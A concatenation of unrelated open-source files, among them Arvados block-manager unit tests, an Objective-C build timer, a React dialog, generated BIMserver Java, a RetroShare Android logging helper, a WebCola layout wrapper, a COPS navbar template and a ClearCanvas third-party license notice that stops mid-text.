now = datetime.datetime.now()
a_week_ago = now - datetime.timedelta(days=7)
a_month_ago = now - datetime.timedelta(days=30)
a_week_from_now = now + datetime.timedelta(days=7)
with Collection(base_manifest.format(self.datetime_to_hex(a_week_from_now))) as c:
self.assertFalse(c.find('count.txt').permission_expired())
with Collection(base_manifest.format(self.datetime_to_hex(a_week_ago))) as c:
f = c.find('count.txt')
self.assertTrue(f.permission_expired())
self.assertTrue(f.permission_expired(a_week_from_now))
self.assertFalse(f.permission_expired(a_month_ago))
class BlockManagerTest(unittest.TestCase):
def test_bufferblock_append(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
with arvados.arvfile._BlockManager(keep) as blockmanager:
bufferblock = blockmanager.alloc_bufferblock()
bufferblock.append("foo")
self.assertEqual(bufferblock.size(), 3)
self.assertEqual(bufferblock.buffer_view[0:3], b"foo")
self.assertEqual(bufferblock.locator(), "acbd18db4cc2f85cedef654fccc4a4d8+3")
bufferblock.append("bar")
self.assertEqual(bufferblock.size(), 6)
self.assertEqual(bufferblock.buffer_view[0:6], b"foobar")
self.assertEqual(bufferblock.locator(), "3858f62230ac3c915f300c664312c63f+6")
bufferblock.set_state(arvados.arvfile._BufferBlock.PENDING)
with self.assertRaises(arvados.errors.AssertionError):
bufferblock.append("bar")
def test_bufferblock_dup(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
with arvados.arvfile._BlockManager(keep) as blockmanager:
bufferblock = blockmanager.alloc_bufferblock()
bufferblock.append("foo")
self.assertEqual(bufferblock.size(), 3)
self.assertEqual(bufferblock.buffer_view[0:3], b"foo")
self.assertEqual(bufferblock.locator(), "acbd18db4cc2f85cedef654fccc4a4d8+3")
bufferblock.set_state(arvados.arvfile._BufferBlock.PENDING)
bufferblock2 = blockmanager.dup_block(bufferblock, None)
self.assertNotEqual(bufferblock.blockid, bufferblock2.blockid)
bufferblock2.append("bar")
self.assertEqual(bufferblock2.size(), 6)
self.assertEqual(bufferblock2.buffer_view[0:6], b"foobar")
self.assertEqual(bufferblock2.locator(), "3858f62230ac3c915f300c664312c63f+6")
self.assertEqual(bufferblock.size(), 3)
self.assertEqual(bufferblock.buffer_view[0:3], b"foo")
self.assertEqual(bufferblock.locator(), "acbd18db4cc2f85cedef654fccc4a4d8+3")
def test_bufferblock_get(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
})
with arvados.arvfile._BlockManager(keep) as blockmanager:
bufferblock = blockmanager.alloc_bufferblock()
bufferblock.append("foo")
self.assertEqual(blockmanager.get_block_contents("781e5e245d69b566979b86e28d23f2c7+10", 1), b"0123456789")
self.assertEqual(blockmanager.get_block_contents(bufferblock.blockid, 1), b"foo")
def test_bufferblock_commit(self):
mockkeep = mock.MagicMock()
with arvados.arvfile._BlockManager(mockkeep) as blockmanager:
bufferblock = blockmanager.alloc_bufferblock()
bufferblock.owner = mock.MagicMock(spec=arvados.arvfile.ArvadosFile)
def flush(sync=None):
blockmanager.commit_bufferblock(bufferblock, sync)
bufferblock.owner.flush.side_effect = flush
bufferblock.append("foo")
blockmanager.commit_all()
self.assertTrue(bufferblock.owner.flush.called)
self.assertTrue(mockkeep.put.called)
self.assertEqual(bufferblock.state(), arvados.arvfile._BufferBlock.COMMITTED)
self.assertIsNone(bufferblock.buffer_view)
def test_bufferblock_commit_pending(self):
# Test for bug #7225
mockkeep = mock.MagicMock()
mockkeep.put.side_effect = lambda *args, **kwargs: time.sleep(1)
with arvados.arvfile._BlockManager(mockkeep) as blockmanager:
bufferblock = blockmanager.alloc_bufferblock()
bufferblock.append("foo")
blockmanager.commit_bufferblock(bufferblock, False)
self.assertEqual(bufferblock.state(), arvados.arvfile._BufferBlock.PENDING)
blockmanager.commit_bufferblock(bufferblock, True)
self.assertEqual(bufferblock.state(), arvados.arvfile._BufferBlock.COMMITTED)
def test_bufferblock_commit_with_error(self):
mockkeep = mock.MagicMock()
mockkeep.put.side_effect = arvados.errors.KeepWriteError("fail")
with arvados.arvfile._BlockManager(mockkeep) as blockmanager:
bufferblock = blockmanager.alloc_bufferblock()
bufferblock.owner = mock.MagicMock(spec=arvados.arvfile.ArvadosFile)
def flush(sync=None):
blockmanager.commit_bufferblock(bufferblock, sync)
bufferblock.owner.flush.side_effect = flush
bufferblock.append("foo")
with self.assertRaises(arvados.errors.KeepWriteError) as err:
blockmanager.commit_all()
self.assertTrue(bufferblock.owner.flush.called)
self.assertEqual(str(err.exception), "Error writing some blocks: block acbd18db4cc2f85cedef654fccc4a4d8+3 raised KeepWriteError (fail)")
self.assertEqual(bufferblock.state(), arvados.arvfile._BufferBlock.ERROR)
| {
"pile_set_name": "Github"
} |
#import "CCMBuildTimer.h"
#import "CCMProject.h"
#import "CCMServerMonitor.h"
@implementation CCMBuildTimer
- (void)start
{
[[NSNotificationCenter defaultCenter]
addObserver:self selector:@selector(buildStart:) name:CCMBuildStartNotification object:nil];
[[NSNotificationCenter defaultCenter]
addObserver:self selector:@selector(buildComplete:) name:CCMBuildCompleteNotification object:nil];
}
- (void)buildStart:(NSNotification *)notification
{
CCMProject *project = [notification object];
if([project buildStartTime] != nil)
[self buildComplete:notification];
[project setBuildStartTime:[NSDate date]];
}
- (void)buildComplete:(NSNotification *)notification
{
CCMProject *project = [notification object];
NSDate *startTime = [project buildStartTime];
if(startTime == nil)
return;
NSTimeInterval difference = [startTime timeIntervalSinceNow] * -1;
[project setBuildStartTime:nil];
if(difference < 12 * 3600) // 12 hours should be enough for any build...
[project setBuildDuration:[NSNumber numberWithDouble:difference]];
}
@end
| {
"pile_set_name": "Github"
} |
import * as React from 'react';
import * as ReactDOM from 'react-dom';
import { BaseDialog, IDialogConfiguration } from '@microsoft/sp-dialog';
// Note: DialogContent is available in v2.32.0 of office-ui-fabric-react
// As a workaround we're importing it from sp-dialog until the next version bump
import { DialogContent } from '@microsoft/sp-dialog';
import { FileSizeViewer } from "../../components/FileSizeViewer/FileSizeViewer";
// import { data } from "../../data/data";
export default class ReactBaseDialog extends BaseDialog {
public data: any;
public render(): void {
const reactElement =
<DialogContent
title="File Size Viewer"
showCloseButton={true}
onDismiss={this.close}
>
<FileSizeViewer
data={this.data}
/>
</DialogContent>;
ReactDOM.render(reactElement, this.domElement);
}
public getConfig(): IDialogConfiguration {
return {
isBlocking: false
};
}
}
| {
"pile_set_name": "Github"
} |
/**
* Copyright (C) 2009-2014 BIMserver.org
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.bimserver.models.ifc4.impl;
/******************************************************************************
* Copyright (C) 2009-2019 BIMserver.org
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see {@literal<http://www.gnu.org/licenses/>}.
*****************************************************************************/
import org.bimserver.emf.IdEObjectImpl;
import org.bimserver.models.ifc4.Ifc4Package;
import org.bimserver.models.ifc4.IfcThermalConductivityMeasure;
import org.eclipse.emf.ecore.EClass;
/**
* <!-- begin-user-doc -->
* An implementation of the model object '<em><b>Ifc Thermal Conductivity Measure</b></em>'.
* <!-- end-user-doc -->
* <p>
* The following features are implemented:
* </p>
* <ul>
* <li>{@link org.bimserver.models.ifc4.impl.IfcThermalConductivityMeasureImpl#getWrappedValue <em>Wrapped Value</em>}</li>
* <li>{@link org.bimserver.models.ifc4.impl.IfcThermalConductivityMeasureImpl#getWrappedValueAsString <em>Wrapped Value As String</em>}</li>
* </ul>
*
* @generated
*/
public class IfcThermalConductivityMeasureImpl extends IdEObjectImpl implements IfcThermalConductivityMeasure {
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
protected IfcThermalConductivityMeasureImpl() {
super();
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
protected EClass eStaticClass() {
return Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE;
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
protected int eStaticFeatureCount() {
return 0;
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public double getWrappedValue() {
return (Double) eGet(Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE__WRAPPED_VALUE, true);
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public void setWrappedValue(double newWrappedValue) {
eSet(Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE__WRAPPED_VALUE, newWrappedValue);
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public void unsetWrappedValue() {
eUnset(Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE__WRAPPED_VALUE);
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public boolean isSetWrappedValue() {
return eIsSet(Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE__WRAPPED_VALUE);
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public String getWrappedValueAsString() {
return (String) eGet(Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE__WRAPPED_VALUE_AS_STRING, true);
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public void setWrappedValueAsString(String newWrappedValueAsString) {
eSet(Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE__WRAPPED_VALUE_AS_STRING, newWrappedValueAsString);
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public void unsetWrappedValueAsString() {
eUnset(Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE__WRAPPED_VALUE_AS_STRING);
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public boolean isSetWrappedValueAsString() {
return eIsSet(Ifc4Package.Literals.IFC_THERMAL_CONDUCTIVITY_MEASURE__WRAPPED_VALUE_AS_STRING);
}
} //IfcThermalConductivityMeasureImpl
| {
"pile_set_name": "Github"
} |
/*******************************************************************************
* libretroshare/src/util: androiddebug.h *
* *
* libretroshare: retroshare core library *
* *
* Copyright (C) 2016 Gioacchino Mazzurco <[email protected]> *
* *
* This program is free software: you can redistribute it and/or modify *
* it under the terms of the GNU Lesser General Public License as *
* published by the Free Software Foundation, either version 3 of the *
* License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU Lesser General Public License for more details. *
* *
* You should have received a copy of the GNU Lesser General Public License *
* along with this program. If not, see <https://www.gnu.org/licenses/>. *
* *
*******************************************************************************/
#pragma once
// Inspired by: https://codelab.wordpress.com/2014/11/03/how-to-use-standard-output-streams-for-logging-in-android-apps/
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h> // for O_NONBLOCK
#include <android/log.h>
#include <atomic>
#include <string>
/**
* On Android stdout and stderr of native code is discarded, instancing this
* class at the beginning of the main of your program to get them (stdout and
* stderr) on logcat output.
*/
class AndroidStdIOCatcher
{
public:
AndroidStdIOCatcher(const std::string& dTag = "RetroShare",
android_LogPriority stdout_pri = ANDROID_LOG_INFO,
android_LogPriority stderr_pri = ANDROID_LOG_ERROR) :
tag(dTag), cout_pri(stdout_pri), cerr_pri(stderr_pri), should_stop(false)
{
// make stdout line-buffered
//setvbuf(stdout, 0, _IOLBF, 0);
// make stdout and stderr unbuffered
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
// create the pipes and redirect stdout and stderr
pipe2(pout_fd, O_NONBLOCK);
dup2(pout_fd[1], STDOUT_FILENO);
pipe2(perr_fd, O_NONBLOCK);
dup2(perr_fd[1], STDERR_FILENO);
// spawn the logging thread
pthread_create(&thr, 0, thread_func, this);
pthread_detach(thr);
}
~AndroidStdIOCatcher()
{
should_stop = true;
pthread_join(thr, NULL);
}
private:
const std::string tag;
const android_LogPriority cout_pri;
const android_LogPriority cerr_pri;
int pout_fd[2];
int perr_fd[2];
pthread_t thr;
std::atomic<bool> should_stop;
static void *thread_func(void* instance)
{
__android_log_write(ANDROID_LOG_INFO, "RetroShare", "Android debugging start");
AndroidStdIOCatcher &i = *static_cast<AndroidStdIOCatcher*>(instance);
std::string out_buf;
std::string err_buf;
while (!i.should_stop)
{
for(char c; read(i.pout_fd[0], &c, 1) == 1;)
{
out_buf += c;
if(c == '\n')
{
__android_log_write(i.cout_pri, i.tag.c_str(), out_buf.c_str());
out_buf.clear();
}
}
for(char c; read(i.perr_fd[0], &c, 1) == 1;)
{
err_buf += c;
if(c == '\n')
{
__android_log_write(i.cerr_pri, i.tag.c_str(), err_buf.c_str());
err_buf.clear();
}
}
usleep(10000);
}
__android_log_write(ANDROID_LOG_INFO, "RetroShare", "Android debugging stop");
return NULL;
}
};
| {
"pile_set_name": "Github"
} |
import * as d3 from 'd3';
import {window} from 'global';
window.d3 = d3;
import {d3adaptor} from 'webcola';
const defaultOptions = {
width: 900,
height: 800,
iteration: 30
};
export default class Cola {
constructor() {
this._options = defaultOptions;
// custom layout data structure
this._colaGraph = {nodes: [], edges: []};
this._nodeMap = {};
this._edgeMap = {};
// initialize layout engineis
const {width, height} = this._options;
this._simulator = d3adaptor(d3).size([width / 2, height / 2]);
// register event callbacks
this._simulator.on('tick', this._ticked);
}
_ticked = () => {
if (this._onUpdate) {
this._onUpdate();
}
};
registerCallbacks(onUpdate) {
this._onUpdate = onUpdate;
}
unregisterCallbacks() {
this._onUpdate = null;
this._onDone = null;
this._simulator.on('tick', null);
}
start() {
if (this._colaGraph.nodes.length === 0) {
return;
}
const iteration = this._options.iteration;
const graph = this._colaGraph;
this._simulator
.nodes(graph.nodes)
.links(graph.edges)
.jaccardLinkLengths(100, 0.7)
// .symmetricDiffLinkLengths(24)
.handleDisconnected(false)
.start(iteration);
}
update(graph) {
// nodes
const newNodeMap = {};
const newColaNodes = graph.nodes.map(node => {
const oldColaNode = this._nodeMap[node.id];
const newColaNode = oldColaNode
? oldColaNode
: {
id: node.id,
x: 0,
y: 0
};
newNodeMap[node.id] = newColaNode;
return newColaNode;
});
this._nodeMap = newNodeMap;
this._colaGraph.nodes = newColaNodes;
// edges
const newEdgeMap = {};
const newColaEdges = graph.edges.map(edge => {
const newColaEdge = {
id: edge.id,
source: this._colaGraph.nodes.findIndex(n => n.id === edge.source),
target: this._colaGraph.nodes.findIndex(n => n.id === edge.target)
};
newEdgeMap[edge.id] = newColaEdge;
return newColaEdge;
});
this._edgeMap = newEdgeMap;
this._colaGraph.edges = newColaEdges;
}
alpha() {
return this._simulator.alpha();
}
getNodePosition = node => {
const colaNode = this._nodeMap[node.id];
if (colaNode) {
return [colaNode.x, colaNode.y];
}
return [0, 0];
};
getEdgePosition = edge => {
const colaEdge = this._edgeMap[edge.id];
if (colaEdge) {
return {
sourcePosition: [colaEdge.source.x, colaEdge.source.y],
targetPosition: [colaEdge.target.x, colaEdge.target.y]
};
}
return {
sourcePosition: [0, 0],
targetPosition: [0, 0]
};
};
}
| {
"pile_set_name": "Github"
} |
<div class="navbar navbar-inverse" role="navigation">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="{{=it.homeurl}}">{{=it.fullTitle}}</a>
</div>
<div class="collapse navbar-collapse">
<ul class="nav navbar-nav navbar-right">
<li><a href="#" onclick='$.removeCookie("template"); window.location.reload(true); ' data-toggle="tooltip" data-placement="bottom" title="" data-original-title="Default COPS template">
<span class="glyphicon glyphicon-picture"></span><span class="visible-xs-inline"> Default COPS template</span>
</a></li>
<li><a href="{{=it.abouturl}}" data-toggle="tooltip" data-placement="bottom" title="" data-original-title="{{=it.c.i18n.aboutTitle}}">
<span class="glyphicon glyphicon-info-sign"></span><span class="visible-xs-inline"> {{=it.c.i18n.aboutTitle}}</span>
</a></li>
</ul>
<form id="searchForm" class="navbar-form navbar-right" role="search">
<div class="form-group">
<input type="text" class="form-control" placeholder="{{=it.c.i18n.searchAlt}}" name="query">
</div>
<button type="submit" class="btn btn-default hidden-xs"><span class="glyphicon glyphicon-search"></span></button>
</form>
</div><!--/.nav-collapse -->
</div>
</div>
| {
"pile_set_name": "Github"
} |
NOTICE
The ClearCanvas open source RIS/PACS project incorporates and licenses
existing open source software from other projects. Those licenses, the
software they apply to, and their authors are acknowledged below.
The full texts of the applicable licenses, if not reproduced in entirety
in this file, are available in the "Licenses" directory.
If there are any errors or omissions, they are not intention, and you
can let us know by emailing us at [email protected]
The contents of this file are up-to-date as of 7 January 2012.
AJAX CONTROL TOOLKIT
Copyright (c) 2009, CodePlex Foundation
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of CodePlex Foundation nor the names of its
contributors may be used to endorse or promote
products derived from this software without specific prior written
permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
CASTLE PROJECT
Copyright 2004-2011 Castle Project - http://www.castleproject.org/
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
CODE MIRROR
Copyright (C) 2012 by Marijn Haverbeke <[email protected]>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Please note that some subdirectories of the CodeMirror distribution
include their own LICENSE files, and are released under different
licences.
DOTNETMAGIC
Copyright (C) 2004-2006 Crownwood Software Ltd.
Binary-only distribution under Crownwood license terms (see "Licenses" folder).
FLOAT COMPARER
Released into the public domain by Shawn Van Ness
INDEPENDENT JPEG GROUP TOOLKIT
The authors make NO WARRANTY or representation, either express or implied,
with respect to this software, its quality, accuracy, merchantability, or
fitness for a particular purpose. This software is provided "AS IS", and you,
its user, assume the entire risk as to its quality and accuracy.
This software is copyright (C) 1991-1998, Thomas G. Lane.
All Rights Reserved except as specified below.
Permission is hereby granted to use, copy, modify, and distribute this
software (or portions thereof) for any purpose, without fee, subject to these
conditions:
(1) If any part of the source code for this software is distributed, then this
README file must be included, with this copyright and no-warranty notice
unaltered; and any additions, deletions, or changes to the original files
must be clearly indicated in accompanying documentation.
(2) If only executable code is distributed, then the accompanying
documentation must state that "this software is based in part on the work of
the Independent JPEG Group".
(3) Permission for use of this software is granted only if the user accepts
full responsibility for any undesirable consequences; the authors accept
NO LIABILITY for damages of any kind.
These conditions apply to any software derived from or based on the IJG code,
not just to the unmodified library. If you use our work, you ought to
acknowledge us.
Permission is NOT granted for the use of any IJG author's name or company name
in advertising or publicity relating to this software or products derived from
it. This software may be referred to only as "the Independent JPEG Group's
software".
We specifically permit and encourage the use of this software as the basis of
commercial products, provided that all warranty or liability claims are
assumed by the product vendor.
ITK
Copyright (c) 1999-2008 Insight Software Consortium All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the Insight Software Consortium nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
JAVASCRIPT NUMBER FORMAT
Released into the public domain by http://www.mredkj.com/
JQUERY
including Dimensions
Copyright 2013 jQuery Foundation and other contributors
http://jquery.com/
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
JQUERY DROP SHADOWS PLUGIN
Releaed into the public domain by Larry Stevens ([email protected])
JQUERY MASKED INPUT PLUGIN
Copyright (c) 2007-2008 Josh Bush (digitalbush.com)
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
JQUERY MULTI-SELECT PLUGIN
This plugin is dual-licensed under the GNU General Public License and the MIT License and is copyright 2008 A Beautiful Site, LLC.
JSON.NET
Copyright (c) 2007 James Newton-King
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
LOG4NET
Copyright 2001-2006 The Apache Software Foundation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
JAVASCRIPT DATE UTILITIES
Copyright (c)2005-2009 Matt Kruse (javascripttoolbox.com)
Dual licensed under the MIT and GPL licenses.
This basically means you can use this code however you want for
free, but don't claim to have written it yourself!
Donations always accepted: http://www.JavascriptToolbox.com/donate/
Please do not link to the .js files on javascripttoolbox.com from
your site. Copy the files locally to your server instead.
MDCM: A C# DICOM LIBRARY
The version used is based on a public domain release by Colby Dillion.
MDCM CODECS
Copyright (c) 2008 Colby Dillion
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Author:
Colby Dillion ([email protected])
NHAPI
Copyright status and ownership unknown.
Dual licensed under Mozilla Public License 1.1 and the GNU General Public License.
NHIBERNATE
Copyright status and ownership unknown.
Licensed under the GNU Lesser General Public License v2.1.
NMOCK2 - DYNAMIC MOCK OBJECT FRAMEWORK
Copyright 2009 NMock2 development team
This product includes software developed at
NMock2 (http://www.sourceforge.net/projects/nmock2).
Proxy creation support is provided by the CASTLE project
licensed under Apache 2.0 license. Therefore the components
Castle.Core and Castle.DynamicProxy2 has been used. The original
source code is available from
https://svn.castleproject.org/svn/castle/branches/net-2.0-trunk/
NPLOT - A CHARTING LIBRARY FOR .NET
Copyright (C) 2003-2006 Matt Howlett and others.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of NPlot nor the names of its contributors may
be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
